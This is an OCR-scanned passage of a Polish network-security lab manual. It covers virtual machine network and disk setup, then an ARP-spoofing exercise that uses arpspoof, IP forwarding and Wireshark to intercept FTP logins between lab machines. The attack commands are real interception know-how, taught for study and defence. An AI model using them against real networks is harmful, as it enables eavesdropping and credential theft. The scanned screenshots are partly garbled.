1.9.12. Sprawdz poprawno$¢ potaczenia poprzez wystanie pakietu ICMP (ang.
Internet Control Message Protocol — internetowy protokét komunikatéw
kontrolnych). Wpisz w konsoli:

ping www.google.

E¥ C:\Windows\system32\cmd.exe =8 EC! @

Microsoft Windows [Wersja 6.1.76881
Copyright <c) 2889 Microsoft Corporation. Wszelkie prawa zastrzeZone.

| v

C:~Usersshss>ping wuw.p.lodz.pl

hajtami danych:
ms TTL=51
2ms TTL=51
3ms TTL=51
ims TTL=51

Statystyka badania ping dla 212.51.2 72:
Pakiety: Wyst. = 4, Odebrane 4, Utracone = @
{8z raty’,
enia pakietdw w millisekundas

Minimum - Maksimum = 13 - Czas fredni Z12 me

IC:\Usersshss>

Rys. 1.64. Windows 7 — polecenie ping
Zrédto: opracowanie whasne.
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1.10. Konfiguracja Ubuntu Linux 10.10 Desktop

1.10.1. Uruchom maszyne¢ wirtualna z systemem Ubuntu Linux 10.10 i zaloguj
sig, uzywajac poswiadczen:

Login: bss
Hasto: zaql1 @ WSX

1.10.2. Nastgpnie uruchom terminal, wchodzac w menu Programy -> Akcesoria -
> Terminal (Applications -> Accessories -> Terminal).

5

43 Applications Places System
. ﬁ Calculator

uicames + B character Map

;E Graphics + @ Disk Usage Analyzer

® Internet ’ .:, Manage Print Jobs

¥l office » ® searchfor Files...
- . = 5

", Sound & Video v Take Screenshot
P=] Terminal

z‘ Text Editor

B4 Tomboy Notes

f‘i‘. Ubuntu Software Center

Rys. 1.65. Ubuntu 10.10 — uruchomienie konsoli
Zrédto: opracowanie wiasne.

1.10.3. Przejdz do powtoki uzytkownika root. Wpisz w konsoli:

sudo su

hasto uzytkownika root: zaql @ WSX

bss@bss-VirtualBox:~$ sudo su

password for bss:
t@bss-VirtualBox:/home/bss#

Rys. 1.66. Ubuntu 10.10 — wejscie do powtoki uzytkownika root
Zrédto: opracowanie wiasne.

1.10.4. Aby uzyska¢ dostgp do innych maszyn wirtualnych oraz do Internetu
konieczna jest konfiguracja adresu IP dla interfejsu ethO oraz wiaczenie

tego interfejsu. Wpisz w konsoli:

ifconfig eth0 172.16.1.5 netmask 255.255.255.0

ifconfig eth0 up
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1.10.5. Nastgpnie ustaw domyS$lna brame sieciowa (jest nia dla wszystkich
komputeréw maszyna z systemem Debian). Wpisz w konsoli:

route add default gw 172.16.1.1 eth0

1.10.6. Aby mozliwa byta komunikacja z siecia zewngtrzna przy uzyciu nazw
symbolicznych, zdefiniuj adres serwera DNS poprzez dodanie wpisu
w pliku /etc/resolv.conf (np. podajac adres serwera OpenDNS). Wpisz
w konsoli:

echo 'nameserver 208.67.222.222° > /etc/resolv.conf

1.10.7. Aby sprawdzi¢ poprawno$¢ konfiguracji, wyslij pakiet ICMP. Wpisz
w konsoli:

ping —¢ 4 www.google.pl

bss@bss-VirtualBox:~$ sudo su
password for bss:
-VirtualBox: /home/bss# ifconfig eth® 172.16.1.5 netmask 255.255.255.8
-VirtualBox:/home/bss# ifconfig ethe up
-VirtualBox:/home/bss# route add default gw 172.16.1.1 ethe
-VirtualBox:/home/bss# echo "nameserver 208.67.222.222" > fetc/resolv.co|

-VirtualBox:/home/bss# ping -c 4 www.google.pl
.1.google.com (74.125.230.82) 56(84) bytes of data.
from 74.125.230.82: icmp reg=1 ttl=51 time=!

from 74.125.230.82: icmp reg=2 ttl=51 tim

from 74.125.230.82: icmp reg=3 ttl=51 tim
64 bytes from 74.125.230.82: icmp reg=4 ttl=51 time=52.4

--- www.l.google.com ping statistic =

4 packets transmitted, 4 received acket loss, time 15381ms
rtt min/avg/max/mdev = 52.049/52. /52.422/8.235 ms
root@bss-VirtualBox: /home/bss# ||

Rys. 1.67. Ubuntu 10.10 — konfiguracja interfejsu sieciowego
Zrédlo: opracowanie wilasne.

1.10.8. Po ustawieniu powyzszych parametréw zamknij okno terminala.

1.11. Konfiguracja Metasploitable

Maszyna z systemem Metasploitable jest uzywana wylacznie w ¢wiczeniu
dotyczacym testow penetracyjnych jako komputer ofiary. System ten posiada
zainstalowane stare wersje uslug i programéw, przez co jest podatny na znane
ataki i mozliwe jest przejgcie kontroli nad systemem.
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1.11.1. Uruchom maszyng z systemem Metasploitable i zaloguj si¢ do systemu.

Login: bss
Hasto: zaql @ WSX

1.11.2. Przejdz do powtloki uzytkownika root, aby uzyska¢ mozliwos¢ konfiguracji
interfejséw sieciowych. Wpisz w konsoli:

sudo su

Hasto uzytkownika root: zagl @ WSX (Uwaga: hasto nie jest widoczne podczas
wpisywania).

1.11.3. Skonfiguruj adres IP i wiacz interfejs podtaczony do sieci wewngtrznej,
korzystajac z narzedzia ifconfig. Wpisz w konsoli:

ifconfig eth0 172.16.1.61 netmask 255.255.255.0

ifconfig ethO up

1.11.4. Nastgpnie ustaw domyS$lng bramg sieciowa (jest nia dla wszystkich
komputeréw maszyna z systemem Debian). Wpisz w konsoli:

route add default gw 172.16.1.1 eth0

1.11.5. Aby mozliwa byta komunikacja z siecia zewngtrzna przy uzyciu nazw
symbolicznych, zdefiniuj adres serwera DNS poprzez dodanie wpisu
w pliku /etc/resolv.conf (np. podajac adres serwera OpenDNS). Wpisz
w konsoli:

echo 'nameserver 208.67.222.222’ > /etc/resolv.conf
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1.11.6. Aby sprawdzi¢ poprawno$¢ konfiguracji wyslij pakiet ICMP. Wpisz
w konsoli:

ping —¢ 4 www.google.pl

bss@metasploitable:™5 sudo su

[sudo]l password for bss:

oot@netasploitable: homesbss# ifconfig ethd 172.16.1.5 netmask 255.255.255.0
oot@netasploitable: homesbss# ifconfig ethd up

oot@netasploitable: homesbss# route add default guw 172.16.1.1 etho
oot@netasploitable:shomesbss# echo "nameserver 208.67.222.222" > setcsresolu.col

:/homesbss# ping -c 4 wuww.google.pl
.l.google.com (74.125.230.81) 56(84) bytes of data.
from 74.125.230.81: icmp_seq=1 tt1=51 time=52.7 m=
from 74.125.230.81: icmp_seq=2 tt1=51 time=51.4 m=
from 74.125.230.81: icnp_seq=3 tt1=51 time=53.7 m=
from 74.125.230.81: icnp_seq=4 tt1=51 time=52.0 m=

—— wuww.l.google.com ping statistics —--—-

4 packets transmitted, 4 received, 0x packet loss, time 3003ms
rtt minsavgsmax-/mdev = 51.483-52.510-53.789-0.887 ms
root@metasploitable:home/bss# _

Rys. 1.68. Metasploitable — konfiguracja interfejsu sieciowego
Zrédlo: opracowanie wilasne.

1.11.7. Zamknij wszystkie uruchomione maszyny wirtualne, zapisujac ich aktualny
stan. Kliknij krzyzyk w rogu okna z uruchomiona maszyna. W oknie
Zamykanie maszyny wirtualnej wybierz opcj¢ Zapisanie stanu maszyny.

¥ — L

Maszyna Urzadzenia Pomoc

® Zamykanie maszyny wirtualnej

[@ sposéb zamknigcia:

W sl BB @ Zapisanie stanu maszyny

® Wystanie sygnatu wylaczenia
7 Wytgczenie maszyny

Pomoc Anuluj

& [ {3 | @ B Prawy ctrl

Rys. 1.69. Oracle VirtualBox — zamknigcie 1 zapisanie stanu maszyny
Zrédlo: opracowanie wilasne.

65



1.12. Inicjowanie i formatowanie dysku twardego — Windows
Server 2003

1.12.1. Wybierz Start -> Uruchom i wpisz compmgmt.msc w celu uruchomienia
ustugi Zarzqdzania komputerem.

= \Wpisz nazwe programu, Folderu, dokumentu lub zasobu
@ intermetowego, a zoskanie on obwarty przez system Windows,

Obwarz: QrMErgt. msc _:i

QK I Anuluj | Przegladaj... |

Rys. 1.70. Uruchamianie compmgmt.msc
Zrédto: opracowanie wilasne.

1.12.2. Z drzewa zasobow po lewej stronie wybierz Zarzadzanie komputerem
(lokalne) -> Magazyny -> Zarzadzanie dyskami. Gdy tylko menadzer
dyskéw wykryje nowy sprzet zostanie uruchomiony Kreator inicjowania
i konwertowania dysku, wybierz Dalej >.

Kreator inicjowania i konwertowania dysku N __)ﬂ

Kreator inicjowania i
konwertowania dysku -

Ten kreator pomaga inicjowad nowe dyzki | konwertowad
puzte dyski podstawowe na dpski dynaniczhe.

Diyskdw dunamiczrpch mozna uzpe do bworzenia opartych na
opragramawaniu wolumindw, ktare moga byé dublawane, a
takze rozkladane lub baczone na kilku dyskach. Mozna takze
rozszerzac pojedyncze dyzki i woluming Faczone bez potrzeby
ponownega uruchariania komputera,

Po przekonwertowaniu dysku na dysk dynamiczny na
kazdum woluminie tego dysku mozna bedzie ko uzmwad
syztemu Windows 2000 1 nowszpch wergji spsteru Windows.

Aby kontynuowad, kliknij praycizk Dalsj.

< Wistece

Anulu |

Rys. 1.71. Widok Kreator inicjowania i konwertowania dysku
Zrédto: opracowanie wilasne.
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1.12.3. Wybierz dysk do zainicjowania i przejdz Dalej > .

Kreator inicjowania i konwertowania dysku
‘Wybierz dyski do zainicjowania
Malezy zainicjowad ten dysk., aby Menedzer dyskdw logicznych magh uzyskad do >

niego dostep.

wiybierz jeden lub wigce| dyzkdw do inicjowania.
Dipski:
W] Dysk 1

<wstecz| Dialej > I Al I

Rys. 1.72. Kreator inicjowania i konwertowania dysku — wyboér dysku do zainicjowania
Zrédto: opracowanie wiasne.

1.12.4. Chcemy zainicjowad, a nie konwertowac dysku, wigc na kolejnym ekranie
odznacz pole Dysk 1 i przejdz Dalej >.

Kreator inicjowania | konwertowania dysku D
Wybierz dyzki do konwertowania
wiybrane dyski ulegng konwersji na dyski dynamiczne. s

Wwiybierz jeden lub wigce] dyskow do konwertowania:

Dipzki

< Wistecz I Dalej > I Apuluj |

Rys. 1.73. Kreator inicjowania i konwertowania dysku —
wyboér dysku do konwertowania
Zrédto: opracowanie wiasne.
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1.12.5. Wybierz Zakoncz w celu zakonczenia pracy kreatora.

Koriczenie pracy Kreatora
inicjowania i konwertowania

Praca Kreatora inicjowania | konwertowania dysku zostata
pomyélnie ukohczona.

‘wiybrane zastaby nastepujace ustawienia:

Korwertuj: Brak

Aby zamknge kreatora, kliknij praycisk Zakoricz,

< Watecz I Zakofcz I Anuluj |

Rys. 1.74. Konczenie pracy Kreatora inicjowania i konwertowania dysku
Zrédlo: opracowanie wilasne.

1.12.6. Aby uruchomié Kreator nowych partycji kliknij prawym przyciskiem
myszy na obszarze Dysku 1 opisanym jako ,,Nieprzydzielone”, a nastgpnie
wybierz Nowa partycja...

o

i-g; Plil.  fkcia  Widok  Ckno Pomoc | 1= =]

e @@ 2@«

g Zarzadzanie komputerem (lokaine) | wolumin | Ukkad | Typ | Syster plikws | Stan | Pojemnosc I b
ﬁe Marzgdzia systemowe =D () Partycja  Podstawowy  NTFS Zdrowy (System) 3,99 GB 1

{g]] Podalad zdarzen

] Foldery udostepnione
g Uzytkownicy i grupy lokalne
Dzienniki wydajnosci i alerty
g Menedzer urzadzen
@ Magazyn
-2 Magazyn wymienny

Defragmentator dyskiw
Zarzadzanie dyskarni 4
IF]@ Ustugii aplikacie
EFDysk 0
Podstawowy (c:)
3,99 GB 3,99 G MTFS
Cnline Zdrowy (Syskem)

EPpysk 1 L1

Podstawowy a
196 ME 196 MB
Online | Mieprzydziel
e Wasciwosc x>
4 » | | B Misprzydziclone Wl Patyciap —
|J ] Pomac |

————— |
Rys. 1.75. Uruchamianie Kreatora nowych partycji
Zrédto: opracowanie wlasne.
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1.12.7. Wybierz typ Partycja podstawowa i przejdz Dalej.

Wybierz typ partycji
|ztriejg brzy tpy partycii podstawowa, rozezerzona i logiczna. >

“wipbierz partycig, ktorg choesz utworzyc:

~ Paitycia iozszerzona

) Dysk logineny

Opiz
Fartycja podstawaowa ko wolumin utworzony 2 wekorzgstaniem wolnega migjsca
na dyzhku podstawowym, £ partycil takie] moga byé uuchamiane system
“Windows i inne systemy operacyine. Ma dysku podstawowym GPT mozna
ubwarzyc do 128 partycji podstawaowych. Ma dysku podstawawym MBR mozna
ubworzyc do czterech partycji podstawowych lub trzp partycie podstawowe i
partycig rozszerzona.

< Watecz I Dalej> I Anulu |

Rys. 1.76. Kreator nowych partycji — wybieranie typu partycji
Zrédto: opracowanie wiasne.

1.12.8. Okresl rozmiar partycji, przydzielajac maksymalna dostgpng ilo$¢ miejsca
na dysku podana w MB i przejdz Dalej.

Kreator nowych partycji il |

Okre#l rozmiar partycji
‘wivbierz rozmiar partycil 2 zakresu miedzy rozmiarem maksymalnym a minimalnym, ,

M akzpmalna ilogé miejzca na desku w megabajtach [ME]: 196
Minimalna iloge migjzca na dyzku w bB: 8

Bozmiar partyciji w MB:

£ Wistecz I Dalej » I Anuluj |

Rys. 1.77. Kreator nowych partycji — okre$lanie rozmiaru partycji
Zrédto: opracowanie wiasne.
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1.12.9. Zaznacz Przypisz nastepujaca litere dysku i wybierz z listy litere E,
nastgpnie wybierz Dalej.

Kreator nowych partycji il ﬂ

Przypisz literg dysku lub $ciezke
Dla ubatwienia dostepu moZesz praypizad do partucii litere dysku lub $cisike >
dyzku.

% {Praupisz nastepujaca litere dysku |E YI
€~ Zainstaluj w nastepuigoym pustym folderze systemu plkiw NTFS:

Frzedladay,.. |

" Nie przypisui litery dysku ani éciezki dysku

<ﬂstecz| Dalej» | Anulu |

Rys. 1.78. Kreator nowych partycji — przypisywanie litery dysku
Zrédto: opracowanie wiasne.

1.12.10. Zaznacz Formatuj t¢ partycje z nastgpujacymi ustawieniami: oraz
przed przejsciem Dalej > upewnij si¢, ze nastgpujace pola sa skonfi-
gurowane zgodnie z rysunkiem rys. 1.79.

Kreator nowych partyciji L— LI

Formatuj partycie
Aby przechowywad dane na tej partycii, nalezy jg najpiens sformatowad. >

‘wibierz, czy choesz formatowad te partycig i jakie ustawienia majg byé uzyte.

" Mie formatuj tej partyci

& Formatujte partycie z nastepuiacymi ustawieniami

Sustem plikdw: INTFS -
FBlozmiar jednostki alokacii: IDDmys'Iny -
Etykieta wolurminu: ID}'Sk

I “wiykonaj szybkie fomatowanie
[~ ‘wiacz kompresie pikéw i folderdw

<ﬂstecz| Dalej » I Anuluj |

Rys. 1.79. Kreator nowych partycji — ustawienia formatowania partycji
Zrédlo: opracowanie wlasne.
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Gdy zakonczysz dzialanie kreatora rozpocznie si¢ proces zaktadania partycji
oraz formatowania do wybranego systemu plikéw. Po zakoficzeniu formatowania
dysk bedzie gotowy do pracy.

1.13. Inicjowanie i formatowanie dysku twardego - BackTrack 4
GParted to aplikacja posiadajaca przejrzysty, intuicyjny interfejs graficzny

pozwalajacy na bardzo szybkie i sprawne zaktadanie oraz formatowanie nowych

partycji.

1.13.1. Aby uruchomi¢ aplikacje Gparted, wpisz w konsoli :

gparted

1.13.2. Przejdz do wlasciwego urzadzenia wybierz GParted > Devices > /dev/sdb.

/dev/sda - GParted

Edit View Device Partition Help
& Refresh Devices Ctr+R i £
! 3| ¢ /devisda (.00 GiB) 7 B idevisda  (z00Gig) +
S A e | /devisdb (305,93 M) |
4 quit ctrl+q /devjsdal
I 7.61 GiB

Partition |F||esystem ‘Muuntpomt | Size ‘ Used Unused | Flags |
fdevjsdal . ext3 ! 7.61 GiB 5.69 GiB 1.92 GiB boot
v fdev/sda2 extended 400.06 MiB
Jdew/sdas M linux-swap 400.02 MiB

0 operations pending

Rys. 1.80. GParted — wybér urzadzenia
Zrédto: opracowanie wlasne.
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1.13.3. Nastgpnie kliknij prawym przyciskiem myszy na obszarze opisanym jako
,unallocated” i wybierz New.

/dev/sdb - GParted
1] s 4 [E} idevisdb (305,93 miB)| v
Mew
unallocated
305,93 MiB
Partition Filesystem Size Used Unused Flags
e
&
]
[
3
. Information
0 operations pending

Rys. 1.81. GParted — zaktadanie nowej partycji
Zrédto: opracowanie wiasne.

1.13.4. Przed wtasciwym stworzeniem partycji zostaniesz ostrzezony o na-
stgpstwach powyzszej operacji, czyli utracie danych, nasz dysk jest pusty,
wigc bez obaw wybierz Create.

Create partition table on /dev/sdb

Q WARNING: This will ERASE ALL DATA on the ENTIRE DISK /dev/sdb
Default is to create an msdos partition table.
b :Advancedz

Chaosing the Create button will IMMEDIATELY ERASE
ALL DATA on disk fdev/sdb

xgancel Create

Rys. 1.82. Ostrzezenie o utracie danych w wyniku zakladania nowej partycji
Zrédlo: opracowanie wlasne.

1.13.5. Ponownie wykonaj czynnosci z punktu 1.13.3, pozwoli to na uruchomienie
kreatora nowej partycji. Nastgpnie ustaw pole New Size (MiB): na
maksymalny dostgpny rozmiar, pole Create as: na Primary Partition
oraz pole Filesystem: na ext3. W razie watpliwosci prawidlowa
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konfiguracje przedstawia rysunek ponizej. Jezeli wszystko jest skonfigu-
rowane prawidtowo, wybierz Add.

Create new Partition

Minimurn Size: 8 MiB Mapdmum Size: 306 MiB
Free Space Preceding (MiB): im *|  create as: Primary Partition : 3}
New Size (MiB): 306 |2 5
Filesystem: ext3 |-

Free Space Following [MiB): |0

Round to cylinders Label: I

&gancel‘ = Add ‘

Rys. 1.83. GParted — kreator nowej partycji
Zrédlo: opracowanie wlasne.

1.13.6. Nastgpnie wybierz z paska narzedzi Apply, po pojawieniu si¢ ostrzezenia
o utracie danych raz jeszcze wybierz Apply.

Jdev/sdb - GParted

GParted Edit Wiew Device Partition Help
A

E = b | ﬁ-?

Delete ' Resize/Move | ! Undo Apply

[} idevisdb (305,93 miB)|»

New Partition #1
305.93 MiB

Partition Filesystermn Size Used Unused Flags
I New Partition #1 ext3 305.93 MiB

[T create Primary Partition #1 (ext3, 305.93 MiB) on /dev/sdb

1 operation pending

Rys. 1.84. GParted - Tworzenie partycji podstawowej
Zrédto: opracowanie wlasne.
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EE Apply operations.to-harddisi

Are you sure you want to
apply the pending operations?
It is recommended to backup

valuable data before proceeding.

Rys. 1.85. Ostrzezenie przed utrata danych
Zrédto: opracowanie wiasne.

1.13.7. Przejdz do folderu /media/

cd /media/

nastepnie stworz katalog sdbl

mkdir sdb1

i zamontuj partycje przy pomocy polecenia:

mount /dev/sdb1 /media/sdb1/



2. ARP-sPOOFING

Opracowat: Stawomir Adamus

Cel ¢wiczenia: wykonanie ataku ARP-spoofing na system MS
Windows i zabezpieczenie przed atakiem

Potrzebne narzedzia: BackTrack Linux 4, Microsoft Wndows 7, Ubuntu
10.10, arpspoof, driftnet

Literatura: M. Szmit, M. Gusta, M. Tomaszewski,
101 zabezpieczen przed atakami w sieci komputerowe;j,
Wyd. Helion, 2005, ss. 22-25, 48-51.

Wspétczesne sieci komputerowe budowane sa gtéwnie z wykorzystaniem
przetacznikéw sieciowych (ang. switch), ktére w odréznieniu od koncentratoréw
(ang. hub) przesytaja ramki tylko migdzy odpowiednimi portami. Decyzje
o przestaniu ramki podejmowane sa na podstawie tablicy adreséw fizycznych
MAC, w ktorej znajduja si¢ odwzorowania adreséw MAC na porty switcha. Aby
mozliwy byl podstuch, konieczne jest zaburzenie mechanizmu decydujacego
o przestaniu ramki do konkretnego portu. Mozna tego dokona¢ m.in. poprzez
fatlszowanie pakietow ARP (ang. Address Resolution Protocol — protokot
odpowiedzialny za powiazanie adreséw IP z adresami MAC), zalewanie switcha
duza iloscia ramek ze sfatszowanym adresem MAC w celu przepetnienia pamigci
urzadzenia (ang. MAC-flooding) oraz duplikacje adresu MAC ofiary. W ¢wicze-
niu zaprezentowana zostanie pierwsza z wymienionych metod podstuchu, poniewaz
wspoélczesne switche sa w pewnym stopniu odporne na atak MAC-flooding,
a duplikacja adresu MAC umozliwia jedynie czg§ciowe przechwycenie transmisji.

W ¢wiczeniu wykorzystane zostana maszyny z systemami Microsoft
Windows 7, BackTrack 4, Ubuntu 10.10 oraz Debian 5 w roli routera. Na rys. 2.1
przedstawiony zostal schemat sieci wykorzystanej przy ¢wiczeniu.
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Debian Linux 5.0
172.16.1.1/24

BackTrack 4 R2
172.16.1.2 /24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4/ 24 172.16.1.5/24

Rys. 2.1. Schemat sieci wykorzystanej w ¢wiczeniu
Zrédto: opracowanie wilasne.

2.1. Przeprowadzenie ataku

2.1.1. Uruchom wirtualng maszyng z systemem Debian i zaloguj sie do systemu.

2.1.2. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz:

ping —¢ 4 www.google.pl

2.1.3. Uruchom wirtualng maszyng z systemem Windows 7 i zaloguj si¢ do systemu.

2.1.4. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli (Start-> Wyszukaj programy i pliki -> cmd):

ping www.google.pl

C:<Documents and Settings“Administrator?ping www.p.lodz.pl
Badanie webB.p.lodz.pl [212.51.287.721 z 32 bhajtami danych:

2 212.51.207.72: bajtiow=32 czas=14ms TTL=51
212.51.207.72: bajtow=32 TTL=51
212.51.207.72: bhajtow=32 TTL=51

z 212.51.2087.72: bajtdiw=32 czas=27ms TTL=G1

Statystyka badania ping dla 212.51.287.72:

Pakiety: Uystane = 4. Odebrane = 4. Utracone = B (Bx stratyd,
Szacunkowy czas bladzenia pakietdw w millisekundach:

Minimum = 9 ms, Maksimum = 27 ms. Czas fredni

Rys. 2.2. Windows 7 — polecenie ping
Zrédto: opracowanie wiasne.
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2.1.5. Wyswietl tablicg ARP systemu w celu poréwnania z tablica po ataku.
Whpisz w konsoli polecenie:

C:~UWindows>system3Zrarp —a

Interfejs: 172.16.1.6 —— Bxb
Adres internetouwy Adres fizyceny Tyup
172.16.1.1 Al—-38—4f-15—e8—45 dynamiczne

Rys. 2.3. Windows 7 — tablica ARP przed dokonaniem ataku
Zrédto: opracowanie whasne.

2.1.6. Uruchom wirtualng maszyne z systemem Ubuntu 10.10 i zaloguj sie do
systemu.

2.1.7. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping —¢c 4 www.google.pl

bss@bss-VirtualBox:~$ ping -c 4 www.google.pl
PING www.l.google.com (74.125.230.81) 56(84) bytes of data.
from 74.125.230.81: icmp reg=1 ttl=51 ti
from 74.125.230.81: icmp req=2 ttl=51 ti
from 74.125.230.81: icmp _req=3 ttl=51 tim
from 74.125.230.81: icmp req=4 ttl=51 time=52.6 ms

--- www.l.google.com ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 15378ms
rtt min/avg/max/mdev = 52.874/52.656/53.155/08.385 ms
bss@bss-VirtualBox:~$

Rys. 2.4. Ubuntu 10.10 — polecenie ping
Zrédto: opracowanie wiasne.

2.1.8. Wyswietl tablice ARP systemu w celu por6wnania z tablica po ataku.
Whpisz w konsoli polecenie:

bss@bss-VirtualBox:~$ arp
Address HWtype HWaddress Flags Mask

172.16.1.1 ether 08:00:27:78:0d:18 C
bss@bss-VirtualBox:~$ ||

Rys. 2.5. Tablica ARP systemu Ubuntu 10.10 przed wykonaniem ataku
Zrédto: opracowanie wiasne.

2.1.9. Uruchom wirtualna maszyn¢ z systemem BackTrack 4 i zaloguj sie do
systemu.
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2.1.10. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping —¢ 4 www.google.pl

root@bt:"# ping -c 4 wwu.p.lodz.pl

[PING web0.p.lodz.pl (212.51.207.72) 56(84) bytes of data.
from web®.p.lodz.pl (212.51.207.72): icmp_seq=1 tt1=51 time=9.85
from webO.p.lodz.pl (212.51.207.72): icmp_seq=2 tt1=51 time=9.50

from web®.p.lodz.pl (212.51.207.72): icmp_seq=3 tt1=51 time=10.4
from webO.p.lodz.pl (212.51.207.72): icmp_seq=4 tt1=51 time=11.1

.p.lodz.pl ping statistics -—
4 packets transmitted, 4 received, 02 packet loss, time 3006ms
rtt minsavgsnax/ndev = 9.509-10.221-11.105-0.604 ns
root@bt:"# _

Rys. 2.6 Polecenie ping w systemie BackTrack
Zrédlo: opracowanie wiasne.

2.1.11. Aby ofiara nie zauwazyla, ze pakiety wysytane z jej komputera sa prze-
chwytywane, na maszynie z systemem BackTrack uruchom przekazywanie
pakietow, dzigki czemu zacznie ona dziata¢ jako pseudo-router. Wpisz
w konsoli systemu BackTrack:

echo 1 > /proc/sys/net/ipv4/ip_forward

2.1.12. Atak ARP-spoofing wykonany zostanie przy uzyciu programu arpspoof.
Program wywotuje si¢ nastgpujaco:
arpspoof —i <interfejs> -t <adres_ofiary> <adres_bramy>
gdzie:

<interfejs> - interfejs sieciowy wykorzystywany do ataku
<adres_ofiary> - adres IP komputera ofiary
<adres_bramy> - adres IP bramy do Internetu

Wpisz w konsoli:

arpspoof —i eth0 —t 172.16.1.4 172.16.1.1

root@bt: ~ - Shell No. 2 - Konsole
Session Edit View Bookmarks Settings Help
:-# arpspoof -i ethe -t 172.16.1.6 172.16.1.1
:29:8:be:ff ©:c:29:24:b1:a2 8806 42: arp reply 172.16.1.1 is-at @:c:29:8:bo:ff
:c:29:8:be:ff @:c:29:24:b1:a2 8806 42: arp reply 172.16.1.1 is-at @8:c:29:8:b0:ff

Rys. 2.7. BackTrack — wynik dzialania programu arpspoof
Zrédto: opracowanie whasne.
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2.1.13. Uruchom druga instancjg¢ konsoli (Ctrl + Shift + N) i uruchom atak na
maszyng z systemem Ubuntu. Wpisz w konsoli:

arpspoof —i eth0 —t 172.16.1.5 172.16.1.1

2.1.14. Przejdz do maszyny z systemem Windows 7 i wyswietl tablice ARP:

C:sUserssbss>arp —a

Interfejs: 172.16.1.4 —— Bxh
Adres internetouy Adres fizyce=ny Tup
172.16.1.1 Ag-A8—-27—-e2-c2-34 dynamiczne
172.16.1.2 Ag-08-27-e2—c2-34 dynamiczne
172.16.1.255 ff—ff-ff—ff-£f-£f statyczne

Rys. 2.8. Tablica ARP systemu Windows po wykonaniu ataku
Zrédto: opracowanie whasne.

2.1.15. Przejdz do maszyny z systemem Ubuntu 10.10 i wyswietl tablice ARP:

arp

bss@bss-VirtualBox:~$ arp

HWtype HwWaddress Flags Mask
ether ©8:08:27:e2:c2:34 C
ether ©8:90:27:e2:c2:34 C

bss@bss-VirtualBox:~$

Rys. 2.9. Tablica ARP systemu Ubuntu po wykonaniu ataku
Zrédto: opracowanie whasne.

Na zrzutach ekranu widaé, ze adres fizyczny bramy (IP: 172.16.1.1) jest
identyczny z adresem MAC komputera agresora (IP: 172.16.1.2).

Wykonanie ataku ARP-spoofing umozliwia podstuch (ang. sniffing)
transmisji prowadzonej przez komputer ofiary. Mozna podstucha¢ np. loginy
i hasta do ustug, ktérych transmisja nie jest szyfrowana.

2.1.16. Na komputerze z systemem BackTrack uruchom program Wireshark
umozliwiajacy podstuch transmisji. Wpisz w konsoli:

wireshark
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2.1.17. W gtéwnym oknie programu nalezy wybraé interfejs, z ktérego
przechwytywane beda pakiety (eth0).

The Wireshark Network Analyzer

fle Edit View Go Capture Analyze Statistics Telephony Tools Help

Baweee cadxoe = so0e o0 GFH -
ot

~ | Expression... | clear | Apply

i The World's Most Popular Network Protocol An:

Interface List

& Open
Live list of the capture interfaces (counts incoming packets) Open a previously captured file
Start capture on interface: Open Recent: I
] etho
£ Pseuto-device that captures on all interfaces ; Sample Captures
£ USB bus number 1 Arich assortment of example capture files
&2l o
ﬁ Capture Options (]
b =3
El| | [e1v]

Rys. 2.10. Gtéwne okno programu Wireshark
Zrédto: opracowanie wiasne.

2.1.18. Nastgpnie przejdZ na maszyn¢ z systemem Windows 1 potacz sig
z serwerem FTP (ang. File Transfer Protocol — protokét transferu plikéw)
wymagajacym logowania. W tym celu wpisz w konsoli komendg:

ftp <adres_serwera>

gdzie:

<adres_serwera> - adres IP serwera udostepniajqcego ustuge FTP

Wpisz w konsoli:

ftp ftp.trolltech.com

2.1.19. Na serwerze zaloguj si¢ uzywajac pos§wiadczen:

Login: ftp
Hasto: ftp
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C:sUserssbss>ftp ftp.trolltech.com

Potaczony =z ftp.trolltech.com.

ggg—welcome to the @t FIP Server.

2208-For recent popular downloads we suggest that you use the http links on our d
ownload webpage: http://www.gt.nokia.coms/downloads. These downloads are delivere
d via a Content Delivery Network, which provides a far superior download bandwid

228-Also please note that files in the sincoming folder will be automatically de

leted after 7 days.
228

Uzytkownik (ftp.trolltech.com:<{noneX>>: ftp
331 Please specify the password.

Has o :

238 Login successful.

ftp> guit

221 Goodbye.

C:sUsersshss>

Rys. 2.11. Windows — potaczenie z serwerem ftp
Zrédto: opracowanie whasne.

2.1.20. Nastegpnie w programie Wireshark kliknij prawym przyciskiem myszy na
dowolny pakiet protokolu FTP (kolumna Protocol) i wybierz opcje
Follow TCP Stream.

eth0: Capturing -

Elle Edit View Go Capture Analyze Statistics Telephony Tools Help
Qe ¢ xe = 0 %00 BE -

= | Expression... | Clear | Apply

-

Source Destination Protocol | Ini

16823 795.369372 212.51.192.18 172.16.1.2 FTP Re
16824 795. 405031 172.16.1.2 212.51.102.18 TCP 54
16825 796.415205 CadmusCo_01:10:72 CadmusCo_2b:be:50 ARP 17
16826 797.8965669 feB0::7c77:2d68:930d: ffoz::c M-
395922 172.16.1.2 212.51.192.18 Re
16829 798.406622 212.51.192.18 Markf’acket (toggle) p ft
16830 798. 406622 172.16.1.2 (O set Time Reference (toggle) | 54
16831 798. 409403 172.16.1.2 Apply as Filter v B 54
16832 798.415516 CadmusCo_01:10: 71 Prepare a Filter v P 17
16833 798.420324 212.51.192.18 Conversation Filter v P £1
16824 200.417418 CadmusCo_01:10:71  cglorize Conversation v P 17 (=]
16835 801.684675 fe80: :7c77:2d68:¢ » CPV6  So =

1 | Follow TCP © *‘« 4
0000 08 00 27 Ol 10 72 OB 00 27 78 Od 1B 08 00 45 |
0010 00 42 ed 89 40 00 f4 06 57 c3 d4 33 c0 12 ac

0.:eth0: <live capture in progress> Fil.. || Packets: 16843 Displa Copy CAp
3 38 Decode As, .

@ Shell | @ shellno. 2 |

&= Print...
Show Packet in New Window

Rys. 2.12. BackTrack — przechwycenie transmisji FTP
Zrédlo: opracowanie wilasne.
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2.1.21. W oknie, ktdre si¢ pojawi, mozna latwo odczyta¢ login i hasto ofiary.
Czerwonym kolorem zaznaczone sa dane wysylane przez ofiarg. Login
znajduje si¢ za ciagiem USER, hasto za ciagiem PASS.

